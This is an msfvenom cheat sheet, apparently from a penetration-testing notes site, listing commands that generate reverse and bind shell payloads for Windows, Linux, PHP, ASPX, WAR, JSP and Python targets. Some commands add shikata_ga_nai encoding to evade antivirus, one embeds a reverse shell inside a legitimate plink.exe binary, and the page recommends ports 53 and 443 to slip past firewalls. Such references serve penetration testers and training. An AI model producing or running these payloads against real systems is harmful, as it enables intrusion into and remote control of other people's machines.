msfvenom

Source https://docs.metasploit.com/

Always use known port for lhost like , 53, 443, 8080 as most of time firewall will block unknown ports traffic and you will not get connection back

List available formats

```
msfvenom --list formats
```

List available payloads for specific platform

```
msfvenom --payload --list-options | grep windows
```

Windows

bat reverse shell

mostly used with **JuicyPotato** exploit

```
msfvenom -p cmd/windows/reverse_powershell lhost=10.10.12.15
lport=4444 > shell.bat
```

exe reverse shell

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443
-e x86/shikata_ga_nai -f exe -o non_staged.exe
```

Powershell

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443
-e x86/shikata_ga_nai -i 9 -f psh -o shell.ps1
```

x64 Bit payload

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10
LPORT=4443 -f exe -o shell.exe
```

Embedded payload

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443
-f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-
binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe
# Windows reverse shell embedded into plink
```

Linux

bind shell

```
msfvenom -p linux/x86/shell_bind_tcp LPORT=4443 -f c
```

reverse shell

```
msfvenom  -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10
LPORT=4443 -f c
```

Other Platforms

php reverse shell

```
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10
LPORT=4443 -f raw -o shell.php
```

aspx reverse shell

```
msfvenom -p windows/shell_reverse_tcp -f aspx LHOST=10.10.16.3
LPORT=4444 > shell.aspx
```

Java WAR reverse shell

Most time will used to get shell on tomcat

```
msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f
war -o shell.war
```

jsp reverse shell

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242
-f raw > shell.jsp
```

python reverse shell

```
msfvenom -p cmd/unix/reverse_python LHOST="10.0.0.1" LPORT=4242 -f
raw > shell.py
```

Previous
Metasploit Cheatsheet

Next
searchploit

Last updated 1 year ago

Was this helpful?